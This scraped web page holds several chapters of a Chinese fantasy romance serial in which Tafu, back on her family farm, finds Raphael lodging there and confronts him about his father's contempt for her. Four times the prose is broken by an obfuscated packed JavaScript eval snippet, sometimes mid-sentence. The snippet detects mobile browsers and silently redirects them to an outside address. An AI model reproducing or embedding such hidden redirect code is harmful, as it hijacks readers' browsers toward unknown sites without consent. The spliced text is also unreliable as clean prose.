;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14369605|146484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亮,她觉得简直可以称得上是完美,但是现在可以清楚看到自己刚才咬过的地方,有几处似乎还在渗血,看着很疼。塔夫有些不忍,朝拉斐尔嘴唇伸出手。他闭上眼睛,却再次向她道歉:“我很抱歉。” 塔夫手一顿,没有抚摸上去:“但这并不够。” “我知道。”拉斐尔声音听上去有些哑,“我有很多话需要对你说。” 塔夫慢慢点了点头:“嗯。” . 回去的那一小段路格外漫长。 塔夫好几次偷偷去看拉斐尔(主要是检查他的嘴唇),结果都被他的视线捉个正着。而每一次,他都立刻朝她微笑,扯动嘴唇伤口,让那里看上去更加模糊一片。 最后,塔夫放弃了任何遮掩的可能。 她咬的时候一点没收力气,导致拉斐尔嘴唇肿得厉害。但是任谁都能看出来他很愉快,甚至是享受那疼痛而且绝非伪装。 至于为什么她和拉斐尔一前一后出去这么一会,回来就变成这副模样…… 明斯克和小布一起使劲向她挤眼睛,邀功表示他们可什么都没有说。 卡菈克也在使劲眨眼睛,不过是另一种意思。如果她能发声的话,那一定是:“这么激烈?!” 贾希拉则是装作什么也没有看出来,哪怕拉斐尔的嘴唇比她刚端上来的餐后甜点里的派馅(果然是草莓大黄馅)还要鲜红。 塔夫忍不住想,拉斐尔的嘴唇看上去简直比甜点更诱人,原来薄唇肿起来是另一种风味。 啊!她现在只想要尖叫了。 她干脆埋头大吃,对周围一切充耳不闻,对所有抛向自己的问题都用:“唔”,“嗯”,“噜呜唔咕咽(我嘴里有食物)”来终结。 与她完全不同的是,尽管拉斐尔肿着嘴唇,依旧谈吐得体、礼数周到,还把塔夫准备说给贾希拉的黑色笑话主动讲了出来:“她那时特意记下,说你一定会很喜欢。” 贾希拉果然很喜欢。 明斯克表示没有听懂,小布“吱吱”地嘲笑他或帮他解释。 卡菈克听过后惊讶道:“原来拉斐尔你也是屋顶上的一只猫,塔夫怎么从来都没有提过你。”她找补似的感慨,“哎呀,这还是塔夫第一次邀请大学的朋友来家里呢!” “卡!菈!克!”塔夫阻止姐姐继续透露更多,又瞪拉斐尔一眼:我可没邀请你! 而且,作为没有参与的旁观者,她可是很清楚,这些话题一定都是他不知道用什么方法引导的! 晚饭结束后,贾希拉一脸自然不过地说:“那今晚开始,拉斐尔搬来和我们一起住。二楼右翼,最里面的那间客房是你的。” 拉斐尔礼貌地回复:“打扰了,提前感谢这个暑假你对我的照顾。” 明斯克则跟上:“贾希拉常常给旅行者或者无处可去的人一个临时落脚的地方,经验丰富,所以这里可比我那儿强多啦!我一会把你的行李给你送来。” 拉斐尔客气地回复:“昨晚非常感谢你。行李我自己去拿就好。” 塔夫终于尖叫出声:“什么!?” 为什么没有人问问她的意见!?她猛地望向姐姐。 卡菈克在她肩上拍了拍:“小锡兵,一会记得给拉斐尔送床单和毛巾,你们是同学,还是一个社团的,更熟嘛!” 拉斐尔彬彬有礼地回复:“十分感激。” 塔夫:“……” . 于是事情(没有经过塔夫同意地)定了下来。 整个夏天,拉斐尔会住在贾希拉的农舍,房间和塔夫隔着一段楼梯外加一条大约十五步远的走廊。 就这样,塔夫大学的最后一个暑假,终于愉快(?)地开始了。 . 78.暑假 塔夫当然要反抗。 她不管拉斐尔能不能听见,又会怎么想,和贾希拉蘑菇起来:“他不能住在这里!” 被母亲笑眯眯瞧到脸颊发烫,塔夫几乎想要逃跑了,这才听到贾希拉开口问她为什么反对。 塔夫提高声音为自己增加气势:“这不合适!他住明斯克那里更合适。或者镇子上!” “你也知道明斯克那里乱成什么样子,说是仓鼠窝也不算夸张。”贾希拉回说,“拉斐尔暑假要在农场帮忙,又不熟悉附近,住在我们这里更方便。” “他才不需要做暑期工!他没有跟你们说吗?他是贵族!而且他一点经验都没有。” “拉斐尔告诉过我们。所以他更不能住明斯克那里。” “他跟你们编了什么故事?不,我不好奇,我会自己找他问……不不不,重点是,他不能住在这里!因为,因为我回家前才和他吵了一架,我们之间的事还没说清楚呢。” “好了,塔夫。拉斐尔放下贵族的身份,不更是说明他遇到了很大的麻烦?也许你和他之前有过争吵,但他仍和其他人一样值得被帮助,我们不能只因为这个拒绝他,或者坐视不理。” 贾希拉说着表情促狭起来, “你也别太过担心拉斐尔,他看上去挺结实。唔,也许嘴唇是个例外。” “妈妈!?” “哈哈!” 塔夫放弃了。 暂时。 她又去找卡菈克磨叽。 “你不是一向不喜欢贵族吗?”塔夫试图和姐姐统一战线。 “是的,我讨厌透了!尤其是那种眼睛和鼻子都长在头顶的贵族!”卡菈克揉揉她脑袋,“但是拉斐尔不一样,他人不是挺有意思吗。” “那都是他装出来给你们看的!” “嗨,这我还真没有看出来。不过他要是能一直这样做的话,那就不算伪装了嘛。再说了,我看得出来他很喜欢你,你也很喜欢他,那他当然是个好贵族啰。” “你这评价标准也太不客观了吧!” “我相信你的判断嘛。你怎么脸都红透了?哦哦,你忘记反对我那句‘你很喜欢他’了。这么快就被我说中了?我妹妹可真可爱啊!哈哈!哈哈哈!” “卡菈克!别那么用力!我要喘不过气了!” “哦,对了,他那嘴唇是你干得吧,你下回可得轻点。我胳膊上现在还有你的牙印呢!你还记得吗?你当时在做梦,以为我是什么来着?烤土豆?哪有人吃土豆还那么用力咬的。哈哈!哈哈哈!” “呃啊——!都是十多年前的事了!而且就那么一次!你怎么每次都说!!!” 塔夫彻底放弃了。 . 塔夫没精打采地、被所有人抛弃地、万念俱灰地洗了个澡,接着在贾希拉和卡菈克的双重提醒下,磨磨蹭蹭地趿着拖鞋去给拉斐尔拿床单和毛巾。 她特意选了花样最丑的一条床单,想到拉斐尔一定会嫌弃万分,却不得不捏着鼻子睡在上面,心情顿时好了许多,又哼着走调的歌拿了一条最难看的浴巾和配套难看的毛巾。 拉斐尔从明斯克那里拿着行李回来后,打声招呼便上楼没再下来。 塔夫得意而又信心满满地跑到他门前。 敲门,没人应。 又敲一遍,还是没人应。 塔夫便试着压了下门把手,没有上锁。她推开很小的一条缝隙,里面一片漆黑。她提高声音:“拉斐尔?我来送床单和毛巾。”又等一会,“你还好吗?那我进来啦?” 推开门,在走廊的灯光下,她看到拉斐尔腿搭在床边半躺在床上,似乎已经睡着了。虽然仍没有挽起袖子,但衬衫终于有些皱褶,裤子也是。他胸口有规律地起伏,大概因为累极了,每次呼吸都伴随着轻微鼾声,却让房间显得更加安逸。 不知道他什么时候出发来这里。 塔夫像是忽然才想到这件事。过去几天拉斐尔一定一直在骑马赶路,恐怕几天几夜没有合眼。他为什么非要赶在她之前呢?塔夫立刻猜到原因,好气又好笑之余也不由得感动和心疼。她蹑手蹑脚来到拉斐尔身旁,轻轻放下毛巾和床单。 她应该叫醒他吗? 他这样睡一晚肯定会不舒服吧。 塔夫俯下身,小声唤:“拉斐尔?” 微鼾停止了,但拉斐尔似乎仍在睡,只是不再那么沉。 塔夫看着拉斐尔的睡颜,嘴角止不住上扬,连她自己都说不好为什么。他嘴唇消肿了一些,结出好几个亮块,明天肯定还是能看出来。塔夫伸出手想摸摸他,最后还是停住:“对不起,刚才咬你咬得太狠了些。” 拉斐尔猛地睁开眼睛,又一把捏住她的手腕。 他捏得很用力。不过几秒,塔夫手指便因为血液流通不畅而隐隐发麻,反应过来低叱:“你干什么?是我!”拉斐尔收了些力气,却仍拉住她手腕,问得很慢:“塔夫?” 塔夫觉得自己应该生气的,却莫名其妙脸红起来,支支吾吾为自己解释:“我来送床单和毛巾。”她朝床上的证据点了下,接着说,“伸手是因为……想看看你嘴唇恢复得怎么样。” 拉斐尔怔了好一会,仿佛终于从沉眠状态中苏醒,慢慢坐起身,仰头望着她微笑道:“没关系。不影响使用。” “谁跟你说这个!”塔夫成功恼羞成怒,看到拉斐尔明显硬撑着的疲倦模样,又摇摇头放低声音,“不好意思吵醒你。你要不要去床上睡?我是说……”她忽然没办法继续说下去。 拉斐尔似乎仍不太清醒,思考一会,松开手:“你刚回来,一定累了。今晚早点休息。” 那一刻塔夫突然很喜欢他,喜欢到她自己都觉得太过夸张的地步。但她还是飞快凑到拉斐尔身前,小心翼翼在他额头上吻了一下,不等他有所反应就跑出房间: “晚安,拉斐尔。我刚才还想说……你来找我,我其实很高兴。希望你,希望我们暑假愉快。” . 薄薄的木板门被合上,房间重新陷入黑暗。 拉斐尔慢慢躺回床上,身体疲惫四肢沉重,大脑里却炸开一片烟花,又变成一片飘渺的空白,仿佛他躺在云彩里,四周隐约又无比清晰地回响着“我们”。云彩承受不住他的重量,他开始在空白中坠落,但他知道自己会被温柔地接住,那下坠反而是一种放松。他很快重新睡着。 . 塔夫第二天起来后,发现拉斐尔居然是认真打算在农场帮忙。 不到七点,他便已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14379402|146484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和明斯克骑马离开去农场另一边。 卡菈克也不在。 ——她是到镇上帮塔夫还小花马,顺便找铁匠戴蒙。 戴蒙也是提夫林,有一双迷人的湖蓝色眼睛,对提夫林来说很罕见。他几年前搬到小镇,老矮人退休后接过铁匠铺,平时除了修补马蹄铁和常用工具,还经常设计些新的工具,比如:混合了锤子、锄头和铲子的“农具之王”,除了“厄运”以外什么都剪不断的精致小剪刀,还有给苹果炸面圈自动翻面的模子。 公正地评价,不太好用,或者有点危险。不过卡菈克很喜欢,每次都愿意试试看,有时是看戴蒙操作。此外,苹果炸面圈是卡菈克最喜欢的零食,没有之一。 是的,卡菈克正在和戴蒙交往。 塔夫一边在心里编着两人的俏皮话——可以用来反击卡菈克昨天的打趣,一边换好衣服下楼。 来到厨房,她的行李已经被送了回来,而贾希拉正在长桌前计算账目,看到她轻轻合上账册:“不多睡会?回家的第一天。” “醒了就起来了。”塔夫挑了个一面有些炸糊的甜面圈,太甜,但配浓稠苦涩的红茶刚好。她既然瞥见账册,便问起母亲这几个月农场的情况。 和塔夫知道的一些家庭不太一样,自领零花钱开始,贾希拉便和她说明家里的开支情况。起初只有最简单的她自己的零用预算,后来再到家里能够负担的对她大学教育的支持。 塔夫没有感到太多压力,反而更加理解母亲的很多决定。大概是因为贾希拉从不诉苦或以此要求她为家里做点什么甚至放弃什么,这只让她感到被信任。 “今年会有盈余。”贾希拉仍是有些沉思的表情。 “明年不一定?” 贾希拉点点头又摇摇头,却提起好多年前便开始讨论的一桩事。 十几位贵族决定成立联盟,免除领地间大部分关税,包括多种农产品,但仅限依附于贵族的佃户或半佃户。而小镇附近的几家农场——包括贾希拉和明斯克的联合农场——都是独立经营的农场。(不过她们仍在偿还当初购买土地的借款。) 如果协议通过甚至变成法律,独立经营农场的产出品进入市场需要支付关税,相比之下会更加昂贵,竞争力更小,影响销售。 她们可以选择加入某位贵族麾下,但那意味着需要向贵族支付另一重税金,同时带来土地被贵族征收的风险。不过最重要的考虑因素始终是,贾希拉的态度和信念。 “还没有办法确定具体影响。”贾希拉最后说。 塔夫则惊讶:“合作协议重启了?已经很长时间没有听过相关消息。” 协议本身复杂,加之影响范围很广,贵族之间为利益勾心斗角,始终没有达成共识。最后,这协议被无限期搁置了。 贾希拉蹙眉:“前一阵子东边出现很严重的旱灾,甚至还导致好几处小规模的疫情。”她有些不忍地摇摇头,“贵族自然要做慈善,捐款赈灾。借着这个机会,协议被重新拿上桌面。毕竟这有利于不同领地农场间的合作,可以更好的面对这种天灾。” 她说着想起什么: “独立农协会的周报上提到过。一周前,博得安大学慈善舞会的主题就是这个。” . 79.农场 塔夫怔了片刻。 她回过神,宽慰贾希拉:“哪怕协议最后通过,恐怕也需要很多商议,真的实施起来只会更久。” 贾希拉点点头,却又补充说: “如果仍是上次的完整协议,不过贵族这次似乎在讨论通过一个临时的、或范围小一些的协议。” 眼见女儿表情严肃起来,她又拍拍塔夫肩膀,“一切都还尚未决定,独立农协会也会派出代表斡旋。别太担心,我们继续做我们能做的。” 塔夫正好吃完早餐,顺嘴换个轻松点的话题:“动物们也都吃过了吗?” 贾希拉忍不住笑了:“特意留给你来喂。” . 塔夫给马槽添过新鲜牧草,然后照顾几只山羊,接着是一头脾气和它年龄一样大的毛驴,最后她提着一袋子玉米和大麦打开鸡棚,顺手抱起一只飞扑过来的母鸡,轻轻揪着它肚子上的软毛。 母鸡:“咕咕!” 她没有问母亲更多关于拉斐尔的事,因为她想不带任何偏见地听他向自己说明。不过现在她已经有了一个猜测,还好是偏向拉斐尔。 那天上午,她见到的三位贵族家长肯定不是偶然相遇,说不定正和这联盟协议有关。没想到舞会还有这样一个政治意味的主题,也许是需要保密的“惊喜”,而这大概也是拉斐尔在舞台上所说的“责任”。只是不知道他们是反对还是支持。 …… 塔夫一边思索着,一边戴上鼻塞口罩,继续做起有些味道的工作——清理圈舍,堆在手推车里送去沤肥,回来的时候再顺便检查围栏。 一直忙到午饭,卡菈克带着几把崭新的园艺剪回来。塔夫找到机会打趣姐姐几句,卡菈克却大大方方笑起来,反而让她有些难为情。下午两人又一起帮忙摘夏草莓(试用了戴蒙刚打好的园艺剪,非常好用),再按果实大小分拣到不同的盒子里。 说笑忙碌中时间过得很快,塔夫听卡菈克说着农场的趣事,远远听到马蹄声,立刻站起身张望,看到是拉斐尔骑着马回来。 “下次轮到你来给我讲学校的事。”卡菈克笑着说,“至于现在嘛。既然你盼的人总算回来了,那就快去见他吧!” 塔夫哼哼一声,一口吃掉一个大草莓——卡菈克特意留下放在一旁的几个形状完美中的一个,这才心满意足地跑去找拉斐尔。 . 拉斐尔回到明斯克农场,熟练地卸下马鞍挂好,离开马厩时看到塔夫正匆匆朝自己跑来。 她皮肤晒得微微泛红,因为跑得急取下草帽抓在手里。草帽边缘有些磨损,几株草茎随意翘着,和她的头发有同样性格。 真可爱。 拉斐尔心跳越来越快,下意识张开手臂,又立刻反应过来:她恐怕还在生气,不会想要…… 但塔夫扑过来抱住了他。 拉斐尔忽然无比幸福,无法克制,飞快低头在她唇上啄了下。 她并没有抗拒。 拉斐尔简直愉快极了。但当他想要再次吻住她的时候,塔夫偏开头又推开他,不过拒绝的理由是: “我身上黏糊糊的,你也直冒热气。” 她脸颊红扑扑的,眼睛吸饱了阳光。 原来他还能感到更加愉快。 拉斐尔重新抱紧塔夫。 . 塔夫把比自己还黏糊糊的拉斐尔赶到一步之外(这似乎是她能够实现的极限距离),心里则有些懊恼。她还没跟拉斐尔说清楚之前发生的事,却忍不住和他亲近。 拉斐尔已经自然地牵住她的手,就和在学校无数次的那样,接着又同她说起他与明斯克这天的短途旅程: “我们检查了几个蓄水池。明斯克去镇上,我先回来。” 蓄水池其实一开始多是天然的水坑或池塘,挖堵连通又修建简易堤坝后变成有蓄水功能的水塘。明斯克还在几个大些的里面养了不少鱼。到冬闲的时候,他偶尔会带着塔夫和卡菈克凿开冰面一起钓鱼。 “其中一个水位有些问题,明斯克已经找到两处漏洞,需要堵住,而且要赶在最后一场夏季暴雨到来之前。”不过几天,拉斐尔说起话来已经像是一位很有经验的本地人。 这意味着需要先抽干水塘里的水,绝对称得上是一项工程。塔夫却有些兴奋,上一次类似的事已经是十年前。 她和拉斐尔边走边聊,还在橡树的树荫下凉快休息好一会,也终于有机会询问拉斐尔是怎么比她提前回来这里,又忍不住问:“你是不是不能再说自己从未熬过夜了?” “每天还是可以睡一会。”拉斐尔顿了下,笑着捏捏她的手。他知道塔夫乘船的目的地,便先骑狮鹫到最近的城市,在那里换马,因此速度比她快不少。 “你知道怎么骑狮鹫!?”塔夫一下跑了题,“喔哦!” “既然你有兴趣,暑假结束的时候,不如我们一起骑狮鹫回博德之门。”拉斐尔立刻提议。 塔夫抿抿嘴,没接话。拉斐尔笑笑,又继续说起他来到镇上之后的事:找到明斯克非常容易,毕竟塔夫当初的描述非常精准。 塔夫打岔:“我可不把这个当作是你的恭维。相反的,我后悔着呢!” “我只是在讲述一个事实。”拉斐尔笑着说。塔夫瞥他一眼,自己却也跟着笑起来。 农场春夏秋三季永远需要帮手,拉斐尔得到明斯克的信赖,又一同去拜访了联合农场的另一位主人——贾希拉。 塔夫酸溜溜地:“然后你又轻而易举地把我妈妈和姐姐都收买到你那一边!” “她们会接受我,也是因为你。”拉斐尔说,“我并没有向她们隐瞒找来这里的原因。” 塔夫知道拉斐尔肯定说了很多动听的话,所以母亲和姐姐昨天才是那样的反应,可是她已经感到脸颊发烫,无法再问下去。 拉斐尔则自然地问起她这天做了什么,塔夫便把艰难的话题暂先扔到脑后。而直到回家她才意识到,两人说了一路农场和镇上的趣闻——后来变成她说拉斐尔听,但不约而同地都没有提一周前的事。 她一时回避了,拉斐尔更有充足理由不主动去说。 现在的气氛和感觉很好,她能感受到拉斐尔想要在一起的心意。她和他是一样的。但那件事的影响始终在。 她想要一个解释。塔夫换下鞋子时心想。她需要。 可她应该怎么心平气和地开口?而不是变成愤怒地质问和发泄。 “塔夫!帮忙准备个沙拉底!”卡菈克不知道什么时候也回家了,在给鸡肉上抹着调料,准备一会出去烤。 塔夫便决定还是等等再说,并要求拉斐尔先和她一起做:“时令的夏季草莓芝麻叶沙拉!” 一点也不令人意外,拉斐尔一次都没有下过厨,但他很自信这并不困难,语气听上去难免有些傲慢:“沙拉,不过是把不同的东西混在一起。这再容易不过。” 卡菈克立刻大声取笑:“芝麻叶可不认得你的贵族身份!” “姐姐你还不知道拉斐尔在学校的名声,是‘拉斐尔总有办法’呢!”塔夫话两边说,又对拉斐尔道,“卡菈克最爱说玩笑话了!” 卡菈克快活地哼哼一声,对塔夫眨眨眼睛,却继续打趣拉斐尔:“你很快就会发现,调味料可是比你的侍从难命令得多。” “你可别再贫嘴了!”塔夫忍无可忍,把卡菈克赶出去烤鸡肉。 …… “草莓切半再去蒂。别切掉那么多呀,好浪费!” “两杯橄榄油、一杯果醋、半杯柠檬汁、两大勺枫糖浆,搅拌直到油醋不分离。我看到了,拉斐尔!你只滴了一滴糖浆!” 拉斐尔很快也化身大厨,提出自己的看法: “新鲜草莓已经足够甜。” “不需要放这么多盐,醋本身就可以调味。” “哪怕我第一次下厨都知道,切过洋葱之后不能揉眼睛!放着,我来。” 于是塔夫红着一双眼睛,偷吃着拉斐尔洗净切好的草莓,愉快地指挥他:“洋葱切得再碎点。”,“芝麻叶再洗一遍!”,“多来点南瓜子,少来点核桃。” 拉斐尔手一抖,倒进去大半杯碎核桃,盖满整个沙拉碗。 “……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14390084|146484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “……” “你是故意捣乱的!沙拉被毁啦!” 塔夫把手中草莓往嘴里一扔,笑着去呵拉斐尔痒,被他抱了个满怀。他眼带笑意望着她,却问:“捣乱?倒是你,偷吃了多少洗好的草莓?”不等塔夫狡辩,他已经手扶上她后脑,深深吻了下去。 唇齿间也染上草莓的甜香。 两人呼吸很快都急促起来,塔夫甚至连指尖都有些发麻。她本就微微向后仰着,下意识伸出手撑在流理台上,手臂碰到堆着草莓的沙拉碗。 木碗和大理石相撞,发出有些闷的一声响,分开了二人。 塔夫重新望向拉斐尔,他喉结轻轻滚了下,似乎是终于吞下从她嘴里勾走的草莓,也似乎是仍想继续那个吻。但塔夫已经抬起手,这次指尖终于触摸到拉斐尔,光滑的下巴,浅浅的美人沟,最后小心翼翼点在他下唇上。 那里已经开始结痂,但周围皮肤还是红红的。塔夫不由得再次升起内疚。拉斐尔握住她的手,一点一点吻着她的指尖,又张开嘴,玩闹似的轻轻咬着。 塔夫忍不住微笑,忽然有了决心:“拉斐尔,我们今天晚上谈谈好吗?” 拉斐尔怔了下,仍握着她的手,重新在她指尖上吻着,又顺着手指一路吻在她掌心。现在,他的下巴几乎是枕在她手中,塔夫便收拢手指握了下,另一只手去摸他有些紧绷的眉毛:“无论如何,我们整个暑假都会在一起。” 拉斐尔低低嗯了声,最后在她手腕吻了吻,松开她的手。 塔夫还想说什么,卡菈克捧着一大铁盘烤好的鸡肉回到厨房。肉的焦香混着香辛料的芬芳扑面而来,塔夫话没说出口,口水先流了出来,连忙吞回去,声音非常有气势: “吸溜!” 就在拉斐尔眼前,可真尴尬。 他果然在忍笑! 塔夫恨不得立刻逃走。 卡菈克好笑地瞧她一眼,像是看不出她的窘迫:“诶,你去哪儿?沙拉准备好了吗?” “马、马上!” 因为偷吃太多草莓,塔夫不得不和拉斐尔一起重新切了半碗——她开始有些手忙脚乱,不过很快受拉斐尔的不慌不忙影响,动作平稳下来,切得飞快。 尽管没花多久,这过程中她还是免不了继续听几句卡菈克的取笑:“我知道你刚才干了什么好事。” 卡菈克肯定是在说她偷吃。 只是另一件事好像也可以理解为偷吃。 塔夫看看拉斐尔切草莓时认真的侧脸,愈加觉得这形容非常准确。 …… 终于准备好沙拉的全部原材料,浇上油醋酱汁简单拌匀,夹出些摆上卡菈克切好的带着炭火风味的鸡肉块。 晚餐大功告成! 贾希拉和明斯克都要晚些才能回来,三人先开动。塔夫一边夸赞卡菈克手艺,一边言行合一地大吃特吃。卡菈克看上去很有成就感,对她的沙拉也赞不绝口,又笑着夸拉斐尔:“作为第一次尝试,你打下手得还不赖嘛!” 塔夫匆匆咽下一口:“其实大部分都是拉斐尔做的。” 拉斐尔也咽下食物:“最主要是靠塔夫的配方,当然还有塔夫的指挥。” 塔夫:“他搅得特别匀,而且还有很有自己的想法和贡献。” 拉斐尔则开始了对沙拉酱汁的赞赏,包括:口感,层次感,和谐度,清爽并平衡食材…… 塔夫:“谢谢!不过你的评价也太……” 拉斐尔:“那是因为的确如此。我从没有吃过更好吃的沙拉。并非有意自夸,但我对沙拉的经验相当丰富。” 塔夫:“我想说的是,你的形容太过浮夸了!” 拉斐尔:“引自哈勒普。” 塔夫:“难怪。我说听着怎么有些耳熟。无论如何,沙拉都是我们合作的结果。” 卡菈克:“……” 卡菈克:“真好吃啊!” . 收拾完餐具,塔夫决定借刚才气氛不错,一鼓作气开始艰难的话题。然而第一步就遇到了问题: 去谁的房间说? . 80.对话 谁的房间都不合适。 塔夫在心里比较半天,得出这个结论。 哪怕她非常想去拉斐尔的房间,看看他的丑床单。 思索中,拉斐尔向她发出熟悉的邀请:“一起走走?” “好!”塔夫惊讶自己居然没有想到这点。 不过这当然不是因为她只想要在私密房间和拉斐尔独处! . 二人还是来到那棵橡树下。 塔夫靠在树上,想起昨晚,又重新站直,无论怎样都不自在。 提出谈谈的是她,然而她却不知道如何开口,只是一想起那件事,她便已经开始有点生气。 拉斐尔清了下嗓子,再次低声道歉:“虽然我有原因,但还是伤害到了你,对不……” “什么原因?”塔夫立刻问。 拉斐尔抿抿唇。 塔夫想起来:“但是你不能说。”她到底还是忍不住哼了一声,开始掐自己指尖。 拉斐尔握住她的手:“除了这件事,我不会对你有所隐瞒。” “啊,请别这样说,翼猫那次就是例外。”塔夫见拉斐尔不意外自己知道,恍然, “怪不得,晚饭时我说耳熟哈勒普措辞的时候,你也并不惊讶。你知道他对我说了什么。那其实是你的授意吗?” 拉斐尔皱下眉:“是的。以及,不是。他说得太多了。” 塔夫尖刻地回道:“比起什么都不说,我倒是更喜欢说得太多。” 拉斐尔没有说话。 简直像是在和她对抗一般。塔夫心里更加不快,赌气也不开口。又过了会,拉斐尔才问:“我可以知道你生气的原因吗?” “你居然不知道吗?”塔夫立刻恼火,“如果你是我的话,你难道不会生气吗?” “但我不是你。” 塔夫一怔,更气了:“那就,假设你处在我的位置。” “但我不能。” “你又不能?”塔夫觉得自己在彻底点燃和气笑之间来回摇摆,“这是什么意思?” “我知道你希望我理解你。”拉斐尔抿抿唇,“然而我无法完全代入你的位置,也不想假装我能够体会你的每一个感受。所以我希望你直接告诉我你的想法,或者如你说的,可以对我发泄不满情绪。” “你为什么能这么平静呢?”塔夫突然问,下一刻便意识到自己问过相同的话。 拉斐尔似乎也想起法师塔那天,语速少见地加快了些: “我并非不在乎你!我很在意。我知道这件事对你,对我,对我们的关系很重要,所以我才控制情绪,也许我只是习惯如此。” 塔夫五味陈杂,最后只小声回:“我知道了。”她声音变得更低,“谢谢你。” 拉斐尔想了想:“那我现在可以吻了你吗?或者,你可以咬我。” “跳跃得也太大了!”塔夫这次是真被气笑了,但还是走到拉斐尔身前环住他,“顶多拥抱。”拉斐尔从善如流,俯身紧紧搂住她。塔夫听着他的心跳,被他的体温熨帖,刚才的怒火一点点熄灭下去。 “除了生气,我更多的是失望。”她终于开口,“其实派对那天也有点,不过没有这么强烈。大概因为这次面对的是你父亲,而且是再一次。” “派对那天?” “赛艇决赛之后的派对。”塔夫说,“你在朋友面前和我保持距离。我没有要责怪你的意思,因为我知道你并没有真的想要冷落我。” “但你还是感到失望了。”拉斐尔怔忡。 “那次算不上失望,顶多有点不习惯。而且因为事情太小,说出来有些矫情。”塔夫抱得更紧,“怕你觉得我很扫兴或者很麻烦。” “不会的。无论你是开心还是不开心我都想知道,请告诉我吧。”拉斐尔吻吻她头发,这才解释说,“那群家伙的目光和好奇并不是一件令人愉快的事。我担心你会感到不自在,所以和你保持了些距离。” “对我有点信心啊,我当然能应付得来。”塔夫说,“如果他们真的找我麻烦,你也可以维护我嘛。” 拉斐尔似乎想解释什么但没有说,塔夫则道:“不过我们的关系一直有点模糊。”她声音低了下去,“所以那个界线不太好把握……” 她终于还是从拉斐尔怀里挣开:“如果我们真的交往的话,我希望你能够站出来坚定地维护我,无论什么情况,无论对方是谁。” “我……”拉斐尔停顿了很久,久到塔夫以为他会再次说“我不能”,不过他最后说的是, “我父亲已经不会反对我对你的感情。” 塔夫眯了下眼睛:“不反对?” “是的。虽然他不会积极支持,但也不会直接反对或阻拦。请原谅我无法告诉你具体细节,但这是目前来看,我可以得到的最好的进展。” “进展?”塔夫忍不住哼一声,“你父亲不还是瞧不起我吗?而且这也不仅仅是他‘反不反对’的问题,是我希望你态度坚决地站在我这边。如果你是我的话,你会接受这种模棱两可的态度吗?” “但我不是你。”拉斐尔一顿,立刻又说, “如果你的意思是让我直接对抗我父亲,为此和他闹翻,那并不会改变他的立场,或者改变任何事,反而可能让情况变得更加艰难。” “并不是对抗!或者撕破脸!我只是希望你会站在我这边维护我!而不是和你父亲一起无视我!”塔夫重新感到愤怒,“难道你希望我在你父亲面前一直低头,假装他其实并没有瞧不起我吗?” “不!”拉斐尔也终于提高声音,“我不希望你低头!我也不希望你觉得被轻视……” 塔夫怒道:“不是我觉得!我是已经被你父亲轻视了!你的反应也没好到哪去!” “我不想这样对你!只是对于我父亲,我需要找到一个更聪明更长远的解决方法。” “更聪明?!你是在说我不够……?” “更谨慎!更温和!我很在意你,塔夫!我喜欢你!但我不想也不能承诺我无法保证可以做到的事!” 拉斐尔语气也激动起来后,塔夫反而冷静了些:“你的意思是。”她长长呼出一口气,让自己尽可能心平气和地说, “你无法保证,你会坚定地维护我?” “我会保护你,我会支持你。只是某些情况下,我可能会用不那么直接的方式,也许意味着避免对抗,而那可能并不是你所希望的,”拉斐尔顿了下,声音有些颤抖,“……无条件的维护。” “比如面对你父亲的时候。” 拉斐尔沉默,最后说:“……是的。” 他眼神里带着某种痛苦,看上去甚至比她还要难过。塔夫垂下眼睛,一时没办法看他,也没办法问出那句“如果你始终找不到那个解决方法呢?” 她能够理解拉斐尔的意思,但还是感到失望。 到底是她不够理智,还是拉斐尔不够坚定。 拉斐尔见塔夫一直没有说话,终于还是开口问:“你是怎么想的?” 塔夫仍是犹豫很久:“我现在不知道。” “我可以……抱你吗?” 这次塔夫没有想太久: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14403625|146484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “嗯。” 她被拉斐尔揽在怀里,深深呼吸几次,发现自己希望这对话继续下去,同他确认:“你也不能告诉我,你是如何从你父亲那里‘取得了进展’?” “很遗憾,但我不能。” 